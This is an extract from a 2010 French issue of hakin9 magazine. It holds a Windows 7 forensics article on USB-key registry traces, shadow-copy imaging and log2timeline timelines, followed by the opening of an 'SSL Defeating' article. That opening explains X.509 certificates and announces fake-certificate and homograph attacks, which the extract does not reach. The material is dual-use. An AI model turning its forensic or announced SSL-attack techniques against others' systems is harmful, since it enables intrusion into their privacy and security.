Il y a quelques années (donc récemment), l'informatique légale se concentrait principalement sur les informations stockées sur les disques durs. Les procédures légales traditionnelles recommandaient donc de débrancher physiquement l'ordinateur de la source d'alimentation et de l'apporter (ou seulement les disques durs) pour l'analyser dans le laboratoire. Mais cette informatique légale traditionnelle appartient au passé...

Un grand changement dans l'approche de collecte des preuves numériques a été récemment forcé par une série de nouvelles technologies qui se sont répandues durant les dernières années aussi bien dans les ordinateurs personnels que professionnels. Il s'agit notamment :

• des applications lancées directement depuis une clé USB flash et fonctionnant uniquement dans la mémoire RAM (sans laisser de traces sur le disque dur),

• des logiciels malveillants (par exemple, type rootkit) fonctionnant uniquement dans la mémoire Ram (sans laisser de traces sur le disque dur),

• des programmes populaires (par exemple, navigateurs Internet) équipés de plus en plus souvent des fonctions de suppressions des traces d'activité de l'utilisateur,

• de la vulgarisation des technologies Web 2.0, grâce à laquelle un utilisateur moyen stocke de plus en plus de ses données sur les serveurs Internet externes et non en local.

Suite aux modifications susmentionnées, une nouvelle méthodologie de collecte des preuves numériques, appelée Live forensics , a été créée. Dans le cas de l'informatique légale moderne, l'at tention est donc por tée sur la protection dans un premier temps des informations en provenance des sources les plus volatiles. Il s'agit en par ticulier de la mémoire vive de l'ordinateur mais aussi de la mémoire cache, de l'état du noyau et des états des connexions réseau. L'informatique légale du type Live demande donc de commencer l'investigation sur place, directement sur le système en marche, si l'ordinateur est allumé. Il est par ticulièrement impor tant ici de réaliser une image de la mémoire vive (acquisition de mémoire) au moyen des outils appropriés (par exemple, en local à l'aide de Live Response, voire à distance à l'aide de F-Response ). Il s'avère en ef fet que suite aux changements susmentionnés dans la

philosophie de fonctionnement des systèmes informatiques, la mémoire vive constitue le plus souvent la source des preuves numériques plus précises que celles que l'on peut trouver sur le disque dur de l'ordinateur en question.

Mon but n'est pas d'écrire un nouvel ar ticle sur l'informatique légale en tant que telle, j'ai tout simplement rappelé plusieurs principes de base pour manipuler les preuves numériques et j'ai mentionné les directions actuelles du développement de l'informatique légale. Dans la suite de cet ar ticle, je me concentrerai en revanche uniquement sur les mécanismes et les outils typiques pour l'environnement Windows 7, qui peuvent constituer potentiellement la source des preuves numériques les plus intéressantes.

Profils de l'utilisateur, historique du navigateurCommençons notre voyage à la recherche des preuves numériques

Figure 1. Liste des copies instantanées créées par le mécanisme VSS

Page 58: hakin9_2_2010_FR

ATTAQUE

58 HAKIN9 2/2010

collectées dans l'environnement Windows 7 par les endroits les plus évidents, à savoir les dossiers dans le profil de l'utilisateur et l'historique généré par Internet Explorer.

En analysant le profil de l'utilisateur sous Windows 7, il ne faut pas oublier qu'à l'instar de Vista, la structure des répertoires qui en font partie est soumise à l'existence de deux types de profils. Le profil utilisateur itinérant (en anglais Roaming user profile) est stocké sur le serveur (et mise en cache sur le poste de travail) et permet à l'utilisateur de se connecter à son propre environnement de travail sur un autre ordinateur dans le cadre d'un domaine commun. Les profils itinérants ne sont disponibles que sous Windows 7 Professional, Enterprise et Ultimate. Le second type est un profil utilisateur local traditionnel (en anglais Local user profile).

Dans l'environnement Windows 7, les données mobiles (qui suivent l'utilisateur) et locales sont clairement distinctes et séparées grâce à l'utilisation des répertoires Roaming et Local . Ils se trouvent dans le répertoire %userprofile%\AppData\ . Du point de vue de l'informatique légale, il est donc important de savoir quel type de données il est possible de trouver dans ces deux répertoires. À titre d'exemple, les fichiers de cookies se trouvent dans le répertoire Roaming et l'historique et la mémoire cache se trouvent en revanche dans le répertoire Local . Les emplacements exactes des traces particulièrement intéressantes de l'activité de l'utilisateur dans Windows 7 se présentent de manière suivante :

• historique du navigateur : % u s e r p r o f i l e %\ A pp D a ta \ Lo c a l \Microsof t \W indows\H is tor y\Low\History.IE5 et %userprofile%\AppData\Local\Microsof t\Windows\Histor y\History.IE5,

• Cache du navigateur : %userprofile%\AppData\Local\Microsof t\Windows\

Temporary Internet Files\Low\Content.IE5 et %userprofile%\AppData\Local\Microsof t\Windows\Temporary Internet Files\Content.IE5,

• Cookies : %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\Low et %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\Low,

• Favoris : %userprofile%\Favorites .

Si vous cherchez des preuves numériques créées par Internet Explorera 8 que l'utilisateur reçoit avec Windows 7, faites at tention à un fait supplémentaire. Le système d'exploitation le plus récent de Redmond (à l'instar de Vista) lance par défaut le programme IE8 dans le mode protégé (en anglais Protected mode ). Le mode protégé augmente la sécurité de l'utilisateur en limitant de manière radicale les droits du code lancé dans le navigateur. Des logiciels malveillants sont donc très restreints quand ils veulent pénétrer dans le système. Du point de vue de l'informatique légale, l'information très impor tante est liée au fait que les fichiers générés par le programme IE8, travaillant dans le mode protégé, arrivent dans un réper toire spécial Low. À titre d'exemple, le réper toire %userprofile%\AppData\Local\Microsof t\Windows\History\Low\History. IE5 contient les fichiers de l'historique du navigateur qui travaille dans le mode de sécurité élevée. Il faut donc faire par ticulièrement at tention à ces dossiers au moment d'une investigation numérique dans l'environnement Windows 7. Un informaticien légal doit également savoir que le navigateur qui travaille avec le mode protégé désactivé générera les preuves dans le réper toire standard de l'historique et la mémoire cache, autrement dit dans le réper toire Local . Le mode protégé désactivé et donc l'absence d'utilisation du dossier Low peuvent avoir ses origines dans les opérations suivantes :

• l'option Activer le mode protégé décochée dans le menu Outils/Options Internet/onglet :Sécurité dans le programme IE8,

• Contrôle du compte de l'utilisateur (en anglais User Account Control , UAC) désactivé,

• le programme IE8 lancé avec les droits de l'administrateur.

L'analyse des informations contenues dans le profil de l'utilisateur ne constitue en général que la première étape, bien qu'importante, de l'investigation numérique. Il est possible de collecter les autres preuves pour une analyse d'utilisation de la mémoire USB flash dans le système cible.

Mémoires USB flashComme je l'ai déjà mentionné dans la partie sur les changements importants survenus dans l'informatique légale depuis quelques années, l'analyse d'utilisation de la mémoire USB flash est devenue très significative. Les mémoires de ce type sont actuellement utilisées non seulement pour lancer des programmes illégaux ou indésirables sur les ordinateurs professionnels mais aussi par les employés licencié ou déloyaux pour voler les données.

Utiliser une mémoire USB flash laisse bien évidemment des traces dans le système d'exploitation (et plus précisément dans son registre et les fichiers de configuration). Comme la structure du registre dans les dif férentes versions du système Windows est dif férent, l'informaticien légal doit savoir où chaque version stocke les preuves relatives aux clés USB. Regardons donc où se trouve ce type d'informations dans Windows 7.

Un exemple de procédure de collecte des informations relatives à la clé USB utilisée dans un système Windows en question peut se présenter de manière suivante :

• collecter les informations sur le fabricant, le modèle, la version et le numéro de série de la mémoire (toutes ces informations se trouvent sur la clé HKEY_LOCAL_MACHINE\Figure 2. Analyse du déroulement des événements dans le temps

Page 59: hakin9_2_2010_FR

SYSTEM\CurrentControlSet\Enum\USBSTOR ),

• enregistrer VID (Vendor ID) et PID (Product ID) en recherchant le numéro de série de la mémoire défini auparavant dans la clé HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB ,

• déterminer la lettre du lecteur attribuée dans le système à la mémoire USB analysée (il faut parcourir toutes les entrées relatives aux lettres du lecteur dans la clé HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices à la recherche du numéro de série de la mémoire),

• enregistrer les identifiants GUID pour les volumes de la mémoire USB (il faut parcourir toutes les entrées relatives aux volumes dans la clé HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices à la recherche du numéro de série de la mémoire),

• déterminer les utilisateurs qui utilisent la mémoire analysée (il faut parcourir toutes les entrées pour chaque utilisateur système dans la clé HKEY_USERS\Identifiant_u t i l i s a t eu r \ S o f t wa r e \ M i c r o so f t \Windows\CurrentVersion\Explorer\MountPoints2 à la recherche des identifiants GUID des volumes de la mémoire USB),

• déterminer l'heure exacte et la date du premier branchement de la mémoire USB (pour obtenir cet te information, parcourir le fichier texte c:\windows\inf\setupapi.dev.log à la recherche du numéro de série de la mémoire),

• déterminer l'heure exacte et la date du premier branchement de la mémoire USB depuis le dernier lancement du système (pour obtenir cette information, parcourir la clé HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Enum\USBSTOR\Fabricant_Modèle_Version_mémoire_USB à la recherche de la dernière présence du numéro de série de la mémoire),

• déterminer l'heure exacte et la date du dernier branchement de la mémoire USB (pour obtenir cette information, parcourir la clé HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\VID_XXXX&PID_YYYY à la recherche de la dernière présence du numéro de série de la mémoire).

Comme vous pouvez le constater dans l'exemple ci-dessus, l'environnement Windows 7 peut apporter aux enquêteurs de nombreuses preuves numériques importantes relatives à l'utilisation de la clé USB dans le système. Pour conclure, nous sommes capables de déterminer un historique très détaillé d'utilisation d'une clé USB concrète par des utilisateurs de Windows 7 concrets. Ce type de preuves peut être très utile dans une investigation réelle. La fonction de copies instantanées de volume, présente dans Windows 7, peut nous fournir davantage d'informations plus intéressantes.

Les versions précédentes révéleront tous les secrets...Les versions précédentes constituent les copies de fichiers, de dossiers, voire de volumes entiers que le système Windows enregistre automatiquement dans le cadre des points de restitution. Avec les versions précédentes, il est possible de restituer les fichiers et les dossiers qui ont été accidentellement modifiés ou supprimés voire endommagés. En fonction du type du fichier ou du dossier, il est possible d'ouvrir une version précédente, de l'enregistrer à un autre endroit ou de la restituer.

Figure 3. Visualisation du déroulement des événements dans le temps

Page 60: hakin9_2_2010_FR

ATTAQUE

60 HAKIN9 2/2010

INFORMATIQUE LÉGALE SOUS WINDOWS 7

61 HAKIN9 2/2010

La fonction Volume Shadow Copy service – VSS (disponible sous Windows 7 et Windows Vista) est chargée de créer périodiquement une copie instantanée de tous les fichiers dans les partitions protégées. Les versions précédentes sont enregistrées automatiquement dans le cadre des points de restitution, si la fonction protection du système est activée. Le système Windows crée automatiquement les copies seulement des fichiers et des dossiers qui ont été modifiés depuis la création du dernier point de restitution. Les points de restitution par défaut sont créés une fois par jour. Si le disque est divisé en partitions ou si l'ordinateur est équipé de plusieurs disques durs, seule la partition système est par défaut soumise à la protection des fichiers.

En pratique, la fonction VSS permet donc à l'utilisateur de restituer tout un volume, dossier ou fichier d'une (voire de plusieurs dizaines) versions précédentes. Il est également possible de récupérer un fichier supprimé si ce fichier existait pendant la création d'une des copies disponibles. Cette fonctionnalité ressemble donc beaucoup au programme Time Machine intégré au système Mac OS X (depuis la version 10.5 Leopard).

Du point de vue technique, VSS suit les modifications survenues dans le cadre d'un volume donné au niveau des clasters, ce qui signifie que chaque copie stockée nous permet de récréer une image fidèle d'une partition donnée pendant sa création. Ce type de fonctionnalité intégrée par défaut dans le système d'exploitation est bien évidemment inestimable pour les personnes travaillant dans le domaine de l'informatique légale ! Une personne capable de voir le passé du disque dur analysé saura par exemple déterminer l'historique précis de l'activité de l'utilisateur de l'ordinateur ou trouver dans le système d'exploitation les traces d'incidents datant d'il y a plusieurs jours ! Il ne faut pas non plus oublier que la version complète de la fonction VSS (qui suit les modifications dans toute la partition et non seulement l'état des fichiers système) n'est disponible que

sous Windows 7 Professional, Enterprise et Ultimate.

Du point de vue d'analyse des données générées sur un lecteur original par la fonction VSS, l'information la plus importante est la suivante : il n'existe actuellement aucune méthode pour analyser les versions précédentes du volume au niveau du fichier de l'image créée à partir du lecteur original. Le lecteur original est donc indispensable pour réaliser le fichier de l'image du volume dans l'une des versions archivées, enregistrée par VSS. Regardons donc en pratique comment analyser professionnellement les données collectées par VSS dans le système Windows 7.

Pour commencer l'analyse des données VSS, déterminons la liste des copies instantanées disponibles dans la partition en question. Pour ce faire, dans le cadre de la partition C:, nous pouvons faire la commande suivante : vssadmin list shadows /for=C:. Cette commande permet d'obtenir (Figure 1) une liste de toutes les copies instantanées disponibles. Faites attention aux informations suivantes :

• nom du volume de la copie instantanée (par exemple, HarddiskVolumeShadowCopy4, cette information se trouve dans la ligne : Volume des copies instantanées : \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4),

• heure système au moment où la copie instantanée a été créée (cette information se trouve dans la ligne : Nombre de copies instantanées :1 au moment de la création : 2009-11-18 09:08:05),

• nombre total des copies instantanées disponibles.

Il faut remarquer que si par exemple, la taille de la partition C: s'élève à 500 Go et si 10 copies instantanées sont disponibles pour cette partition et si nous voulons alors créer des fichiers avec des images de chaque copie, nous obtiendrons 10 fichiers de 500 Go chacun ! Nous avons donc au total 5000 Go de données.

Avec la liste connue de copies instantanées disponibles, nous pouvons

passer à l'analyse des informations y contenues. Pour parcourir manuellement le contenu des copies directement à partir du système en marche, il est conseillé de créer un lien symbolique au volume de copie instantanée à l'aide de l'outil système mklink . L'exemple de la commande peut se présenter de manière suivante : mklink /d C:\copie_instantanée \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy_no_copie\. Cette commande nous permet de parcourir librement la forme historique du volume grâce au lien appelé copie_instantanée créé sur le disque C:. Cette procédure peut être également utile pour trouver et récupérer un fichier supprimé !

Lors des investigations numériques, la capacité de créer un fichier contenant une image complète du volume pour la copie instantanée sélectionnée sera sûrement utile. Pour ce faire, il faut trouver le nom (HarddiskVolumeShadowCopy_no_copie ) de la copie souhaitée via la commande susmentionnée vssadmin list shadows /for=C: . Pour créer une copie appropriée, nous pouvons nous servir d'un programme dd connu, version destinée à Windows. Il ne faut pas oublier que nous réussissons à réaliser l'image seulement si nous utilisons le lecteur original avec les copies instantanées en tant que source. L'exemple de la commande peut se présenter de manière suivante : dd.exe if=\.\HarddiskVolumeShadowCopy_ no_copie of=E:\obraz.img –localwrt . Où le disque E: est par exemple, la mémoire USB flash où sera créée le fichier de l'image obraz.img .

Il ne faut pas oublier que la procédure susmentionnée nous permettra d'effectuer une seule copie choisie du volume. Pour analyser l'historique entier du volume enregistré par le mécanisme VSS, il faut créer le nombre exact d'images identique au nombre de copies instantanées. Pour effectuer des opérations d'investigation légale, il faudra aussi disposer de l'image d'état actuel de la partition. Si nous avons donc par exemple 10 copies instantanées, nous obtiendrons alors 11 images de la même partition à analyser !

En disposant des images précises du volume, l'informaticien légal peut commencer à analyser les données. Pour monter les images protégées de

Page 61: hakin9_2_2010_FR

ATTAQUE

60 HAKIN9 2/2010

INFORMATIQUE LÉGALE SOUS WINDOWS 7

61 HAKIN9 2/2010

la partition NTFS dans un système qui effectuera l'analyse, il est recommandé d'utiliser le programme NTFS-3G apprécié dans l'environnement. Une fois l'image montée, il ne nous reste qu'à effectuer une solide analyse légale au moyen d'un ensemble d'outils d'informatique légale, tel que EnCase ou The Sleuth Kit (TSK).

Analyse du déroulement des événements dans le tempsDéterminer le déroulement des événements définis dans le temps dans le système d'exploitation qui est l'objet de l'investigation peut avoir être significatif pour le succès de toute l'investigation. L'objectif d'une analyse classique du temps consiste avant tout à dessiner chaque événement (par exemple, suppression d'un fichier) dans la fonction du temps en utilisant notamment les données contenues dans le système de fichiers. Ce type d'analyse se concentre toutefois uniquement sur le fait que l'événement a eu lieu (et non sur ses détails, par exemple, contenu des fichiers), ce qui pourrait faire omettre des informations importantes.

Une analyse moderne du déroulement dans le temps tente donc de combiner les informations sur l'apparition de l'événement et toutes les informations supplémentaires disponibles sur son sujet, pour déterminer un contexte complet de tous les événements. Remarquons aussi que les informations supplémentaires sur les événements se trouvent non seulement à l'intérieur du système analysé mais aussi dans les systèmes externes, tels que pare-feu ou serveur proxy, etc.

Malheureusement, les outils qui supportent une analyse moderne du déroulement dans le temps combinée avec la collecte des informations détaillées sur les événements sont très peu nombreux. Le projet Ex-Tip est une tentative de créer un outil modulaire pour une analyse avancée du déroulement dans le temps. Malheureusement, le développement du projet est actuellement au point mort. À présent, le projet log2timeline développé depuis peu semble être le plus intéressant. Cet outil a été créé en mai 2008 par Kristinn Gudjonsson, employé de SANS chargé de l'informatique légale, motivé justement par l'absence des outils complets pour

l'analyse du déroulement des événements dans le temps dans les systèmes Windows. Log2timeline est un framework permettant d'ajouter, d'une manière assez simple, des modules d'entrée ou de sortie. L'un des plug-ins de sortie prêt permet d'enregistrer les résultats de travail du programme au format utilisé par l'outil mactime qui fait partie du paquet The Sleuth Kit (TSK). Actuellement, log2timeline est capable d'analyser les traces des événements en provenance notamment des sources suivantes :

• catalogue Prefetch (contenant les informations sur les programmes lancés récemment dans le programme),

• clé du regsitre UserAssist (HKEY_CURRENT_USER\Sof tware\Microsof t\Windows\CurrentVersion\Explorer\UserAssist, ces données se trouvent physiquement dans le fichier du registre NTUSER.DAT et contiennent les informations sur les applications lancées par chaque utilisateur),

• points de restitution,• fichiers de raccourcis (LNK),• fichiers de l'historique du navigateur

Firefox,• fichiers INFO2 (contenant les

informations sur les fichiers supprimés),

• journaux log Windows IIS,• métadonnées OpenXML contenues à

l'intérieur des documents Office 2007.

En analysant la liste ci-dessus, il semble que l'outil dispose déjà des grandes fonctionnalités et il est en plus toujours développé de manière intensive. À titre d'exemple, le concepteur prévoit d'implanter des fonctionnalités pour traiter notamment des informations contenues dans les journaux log des programmes antivirus, les fichiers d'historiques d'autres navigateurs Internet populaires ou les archives des messageries instantanées IM.

Regardons donc en pratique comment une analyse traditionnelle du déroulement des événements dans le temps peut être enrichie dans l'environnement Windows 7 avec des preuves collectées au moyen de l'outil log2timeline . Supposons que notre investigation a pour but de prouver qu'un utilisateur du système d'exploitation a lancé le programme CMD.EXE et a ensuite fait la commande ipconfig . Je suppose que, pour faciliter le processus d'investigation, l'ordinateur analysé a été booté depuis le LiveCD gratuit, contenant le système populaire d'aide à l'informatique légale : Helix3. La première étape consiste à réaliser l'analyse traditionnelle des événements. Pour ce faire, nous utiliserons le paquet The Sleuth Kit (TSK) en créant le fichier body file . Ce fichier (son format s'appelle parfois mactime – le nom vient de l'outil capable de le traiter par la suite) constitue une sorte de forme intermédiaire (soumise en général aux autres modifications) avant de créer une forme finale du fichier

Sur le Net• http://hcsl.pl/ – Hard Core Security Lab,• ht tp://blogs.sans.org/computer-forensics/2009/10/27/windows-7-computer-forensics/

– Windows 7 Computer Forensics,• http://blogs.sans.org/computer-forensics/2009/09/09/updated-computer-forensic-guide-to-

profiling-usb-thumbdrives-on-win7-vista-and-xp/ – Profiling USB Thumbdrives on Win7,• http://blogs.sans.org/computer-forensics/2008/10/10/shadow-forensics/ – Windows 7

Shadow Volume Forensics,• http://technet.microsoft.com/en-us/library/cc785914(WS.10).aspx – How Volume Shadow

Copy Service Works,• ht tp://blogs.sans.org/computer-forensics/2009/08/13/ar ti fact-t imeline-creation-and-

analysis-tool-release-log2timeline/ – Artifact Timeline Creation and Analysis,• http://log2timeline.net/ – log2timeline tool,• http://sleuthkit.org/ – Official web site for The Sleuth Kit and Autopsy Browser,• http://log2timeline.net/visual.html – Exemple de visualisation de l'analyse des événements à

l'aide de SIMILE,• http://www.e-fense.com/ – Site officiel du fabricant deHELIX3 LiveCD.

Page 62: hakin9_2_2010_FR

ATTAQUE

62 HAKIN9 2/2010

d'analyse du déroulement dans le temps. Pour créer le fichier body, nous disposons du programme fls (qui fait partie du paquet TSK) via l'exemple de commande suivante : fls -m C: -r /dev/sda1 > /tmp/fichierbody. Ensuite, nous montons (en lecture) la partition analysée (ou le fichier de l'image de la copie instantanée créé auparavant) via la commande : mount.ntfs-3g -o ro,nodev,noexec,show_sys_files /dev/sda1 /mnt/analyse (le répertoire /mnt/ analyse doit être créé auparavant sur le disque). Avec la partition montée en mode de lecture seule, nous pouvons passer à collecter d'autres preuves au moyen de l'outil log2timeline . À titre d'exemple, pour ajouter à notre fichier body des informations du répertoire système Prefetch, il suf fit de faire la commande suivante : cd /mnt/analyse/WINDOWS/Prefetch (passage au répertoire Prefetch présent dans la partition montée auparavant) et log2timeline -f prefetch . >> /tmp/fichierbody. Les informations sur les programmes récemment lancés dans le système d'exploitation analysé sont ainsi ajoutées à notre fichier fichierbody. Ensuite, nous analysons les données UserAssist enregistrées pour l'utilisateur système en question. Pour ce faire, nous passons au répertoire d'accueil de l'utilisateur : cd /mnt/analyse/Documents\ and\ Settings/nom_de_l'utilisateur et nous faisons la commande : log2timeline -f userassist NTUSER.DAT >> /tmp/fichierbody . Grâce à cette démarche, nous avons ajouté des informations sur un utilisateur concret, enregistrées dans le registre UserAssist à notre fichier body. Les informations collectées jusqu'à présent peuvent permettre à résoudre notre question, il ne nous reste qu'à générer le fichier approprié de notre analyse enrichie avec le déroulement des événements dans le temps. Pour ce faire, en utilisant respectivement l'outil qui fait partie du paquet TSK, nous faisons la commande : mactime -b /tmp/ fichierbody > /tmp/déroulement_dans_le_temps . Il est possible à ce moment-là d'analyser le fichier texte obtenu déroulement_dans_le_temps Les fragments du fichier déroulement_dans_le_temps (Figure 2) indiquent clairement que l'utilisateur analysé a lancé le

programme CMD.EXE le 19 juillet à 14:25:46. Et quelques secondes plus tard, il a lancé la commande ipconfig . Les données provenant du répertoire Prefetch nous informent que cette commande a été faite 6 fois. Nous avons donc réussi à prouver une action concrète d'un utilisateur concret à l'aide de l'analyse du déroulement des événements dans le temps. Comme vous pouvez le constater, l'outil log2timeline peut être extrêmement utile pour ef fectuer une analyse complète des actions des utilisateurs dans les systèmes de famille Windows !

L'analyse du déroulement des événements enrichie avec des informations supplémentaires provenant du paquet log2timeline fournit de nombreuses preuves numériques très intéressantes. Malheureusement, une analyse aussi détaillée fait augmzenter des données à analyser. Une analyse traditionnelle des événements consistait à parcourir le fichier texte (comme celui que nous avons obtenu du programme mactime) à la recherche des entrées intéressantes. Comme le programme log2timeline est capable d'enregistrer les résultats de son travail au format XML, nous pouvons présenter notre analyse sous forme de schéma. Pour ce faire, il suffit d'utiliser le widget SIMILE. La Figure 4 présente un exemple d'analyse du déroulement des événements dans le temps, présenté à l'aide de SIMILE. Il ne faut pas toutefois oublier que la visualisation ne réduit pas la quantité de données à analyser, elle permet tout simplement de les présenter d'une manière plus claire...

ConclusionAfin d'effectuer une investigation numérique efficace, trois points sont indispensables : bonne connaissance (et suivi) des principes de l'informatique légale, outils d'investigation appropriés et très bonne connaissance du système d'exploitation analysé.

Les principes de base de l'informatique légale sont quasiment invariables par rapport à toutes sortes des systèmes analysés, les outils d'investigation doivent être en revanche spécialement choisis pour le système d'exploitation analysé. Des connaissances générales sur les systèmes d'exploitation ne suffisent

pas non plus. L'informaticien légal doit connaître en détails tous les mécanismes du système analysé qui peuvent être potentiellement utilisés pour collecter les preuves. Le mécanisme de copies instantanées de volume en est un exemple dans le système Windows le plus récent. Ce mécanisme peut s'avérer une source des preuves électroniques inestimables.

Windows 7 représentant l'approche évolutive de la société Microsoft au sujet du développement des systèmes d'exploitation représente ainsi un environnement convivial pour l'informatique légale. La plupart des mécanismes internes de Windows 7 sont similaires voire identiques à ceux connus de Vista, ce qui a permis à l'informatique légale de disposer des outils appropriés et des connaissances permettant d'effectuer des investigations efficaces sous Windows 7 à la première du produit.

Il faut aussi souligner qu'il existe à présent de nombreux outils d'investigation gratuits qui se prêtent très bien à analyser les incidents sous Windows 7. Nous pouvons recommander notamment le système Helix3 LiveCD et le paquet d'outils The Sleuth Kit (TSK). N'oublions pas non plus le projet log2timeline développé depuis peu. Il propose déjà des fonctions très riches d'analyse du déroulement des événements dans le temps qui laissent les traces dans toute sorte d'endroits des systèmes Windows. L'accessibilité des outils gratuits fait que chacun d'entre nous peut aujourd'hui faire nos investigations amateurs sous Windows 7 ! Je vous invite tous à vous intéresser aux méthodes de l'informatique légale non seulement au moment d'un incident qui troublerait la sécurité de nos systèmes. L'aventure avec l'informatique légale sera sûrement une bonne occasion pour mieux connaître nos propres systèmes d'exploitation. Ce sera aussi une occasion pour connaître les mécanismes à l'aide desquels le système d'exploitation enregistre toutes nos opérations, même les moindres !

Wojciech SmolL'auteur a fait ses études à la faculté de l'Automatique, de l'Electronique et de l'Informatique de l'Ecole Polytechnique de Silésie à Gliwice. Il est diplômé de la section Informatique, spécialité : Bases de données, réseaux et systèmes informatiques. Il est administrateur réseaux et systèmes informatiques dans la société Mostostal Zabrze Holding S.A.

Page 63: hakin9_2_2010_FR
Page 64: hakin9_2_2010_FR

64 HAKIN9 2/2010

PRATIQUE

Lors d’une connexion à un site sécurisé – si-te utilisant un protocole de sécurisation de type SSL–, les données en provenance et à

destination du client sont brouillées grâce à un al-gorithme de chiffrement de type chiffrement asy-métrique. Ce chiffrement fait appel à un couple de clés: une clé publique, accessible par tous, servant au chiffrement des données et une clé privée, se-crète, permettant le déchiffrement.

Ainsi, si l’utilisateur Bob désire communiquer avec le serveur de sa banque, il utilisera la clé pu-blique de la banque pour chif frer son message. Dès lors, lors du transport du message, une écou-te attentive du réseau ne permettra pas au pirate malveillant de se saisir d’informations confidentiel-les, celles–ci demeurant incompréhensibles. En ef-fet, même s’il est en mesure de lire le message, il sera dans l’incapacité d’en comprendre le sens.

L’image (cf. Figure 1) est une capture d’écran obtenue à partir du logiciel Wireshark. Ce logiciel permet d’écouter l’ensemble du trafic circulant dans le sous-réseau auquel appartient la station. Ici est représentée la capture d’un message en di-rection d’un serveur utilisant un protocole de chif-frement – en l’occurrence, il s’agit du serveur www.paypal.com. Le message échangé avec le serveur est chif fré et donc incompréhensible pour le qui-dam qui essaie de le capturer. L’étape de compré-hension sémantique est assujettie à la possession de la clé privée. Lorsque le message arrive au ser-veur de la banque, il est d’abord déchiffré avec la clé privée puis traité.

DAVID TORTEL

CET ARTICLE EXPLIQUE...La notion et la légitimité de cer-tificats numériques, le détour-nement des PKI par le champ Basic Constrainst, l’attaque par homographie, une exploitation possible de l’absence de norme de design dans le domaine de la sécurité, une méthode pour créer un faux certificat

Nous tenterons de rappeler ici les différentes étapes de ce protocole de sécurisation avant d’évoquer certaines faiblesses.

CE QU’IL FAUT SAVOIR...Notions de base sur le fonc-tionnement d’une PKI, bases du DNS, idées sur le fonctionne-ment de TCP/IP et sur la couche applicative du modèle OSI, atta-que de type Man In The Middle.

Par conséquent, l’utilisateur qui souhaite commu-niquer de façon sécurisée avec un serveur doit être en possession de la clé publique de ce serveur.

La notion de confianceSur internet, la notion de confiance pose un réel pro-blème. En effet, dans la mesure où les échanges se font sans la présence physique des parties, nous sommes en droit de nous inquiéter l’identité réelle de la partie adverse. L’identité virtuelle peut-elle avoir un sens aussi fort que l’identité civile ? En d’autres termes, comment créer un lien fort entre ces deux entités par nature antagonistes. Il est important de savoir de façon certaine que l’entité avec laquel-le nous dialoguons est effectivement celle qu’elle prétend être, c’est-à-dire que la clé publique utili-sée pour chiffrer les données appartient réellement à une personne morale identifiée. Pour reprendre l’exemple précédent, il s’agit de trouver un mécanis-me assurant que la clé publique utilisée par le client pour chiffrer ses données personnelles appartient vraiment au serveur www.paypal.com. Le certificat permet, en partie, de répondre à cette question.

Le certificat numérique est une sorte de carte d’identité électronique rédigée et signée par un tiers de confiance. Celui–ci stipule la véracité du lien identité ci-vile/ identité virtuelle; autrement dit, la clé publique pro-posée par la station appartient vraiment à l’entité avec laquelle nous nous attendons à communiquer. Ce tiers de confiance est appelé Autorité de Certification. Nous le noterons CA dans toute la suite du document afin de rester dans les notations conventionnelles.

Degré de difficulté

SSL DefeatingSouvent sur le devant de la scène, le protocole Secure Socket Layer reste aujourd’hui le protocole de sécurisation utilisé afin d’assurer chiffrement, authenticité et intégrité d’une trame trans-mise sur la toile. Très convoitées par les personnes malveillantes, les vulnérabilités d’un tel protocole donnent accès à des privilèges dangereux. Ce document tente de rappeler les différentes étapes de ce protocole de sécurisation avant d’en dessiner certaines fai-blesses.

Page 65: hakin9_2_2010_FR

65 HAKIN9

SSL DEFEATING

2/2010

Le certificat Lorsqu’un site veut proposer un tunnel sé-curisé le reliant à ses utilisateurs, il doit né-cessairement fournir des informations à la fois civiles et virtuelles à un CA afin que ce dernier établisse un certificat numérique. Les formats des standards, en termes de certificats, ont beaucoup évolué depuis la création. Aujourd’hui, le certificat x509v3 semble s’imposer (cf. Figure 2). Celui–ci se présente de la façon suivante – exem-ple pour l’URL https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=zpwhtygjntrz&scc=1&ltmpl=default&ltmplcache=2 qui corres-pond à la redirection de www.gmail.com.

Nous y trouvons les champs suivants :

• Version : permet de rassembler les deux parties autour du même stan-dard. Il s’agit ici de la version 3

• Serial number : numéro de série du certificat qui permet d’identifier le cer-tificat de manière unique

• Signature algorithm : fonction de ha-chage utilisée suivie de l’algorithme de chiffrement asymétrique. Le cer-tificat est ici haché avec la fonction de hachage sha1. Ce hash est ensui-te chif fré avec l’algorithme de chiffre-ment asymétrique RSA. Le résultat de ce chiffrement donne la signature

• Issuer : identité du tiers de confiance qui a généré puis signé le certificat – il s’agit ici de l’autorité de certification Thawte

• Validity : date de début et de fin de va-lidité du certificat

• Subject : informations civiles et virtuel-les de l’entité qui possède le certificat, qui souhaite s’authentifier. Il s’agit ici du serveur www.google.com– cette infor-mation est conforme à l’adresse sai-sie par l’URL

• Public Key : Clé publique de l’entité possédant le certificat

• Signature

L’intégralité des champs est étudiée par le CA ; le certificat est composé et signé.

La validation du certificatLorsqu’il veut se connecter à un serveur de manière sécurisée, l’utilisateur Bob ouvre une connexion SSL.

La première étape dans l’établisse-ment de cette connexion est l’envoi d’un message HELLO vers le serveur distant afin de lui préciser identité, formats de cer-tificat supportés, ainsi que des champs aléatoires. Le serveur lui répond en lui proposant son certificat. Le navigateur de Bob analyse le certificat. Si le certificat est valide, les deux entités peuvent dialoguer sur des bases saines et Bob connaît la clé publique du serveur avec certitude.

Pour vérifier le certificat, le navigateur commence par vérifier le nom du déten-teur du certificat. Il s’agit ici de vérifier qu’il y a concordance entre le serveur que Bob cherche à joindre et le serveur qui présen-te le certificat – les informations relatives à ce point sont contenues dans le champ Subject : il suffit de vérifier que le champ Subject est identique à l’adresse propo-sée dans la barre d’adresse.

Par la suite, c’est le champ Validity qui est étudié afin d’attester que le certificat n’a pas expiré.

Enfin, le navigateur vérifie la signature du certificat puis la légitimité du CA qui a fourni ce certificat.

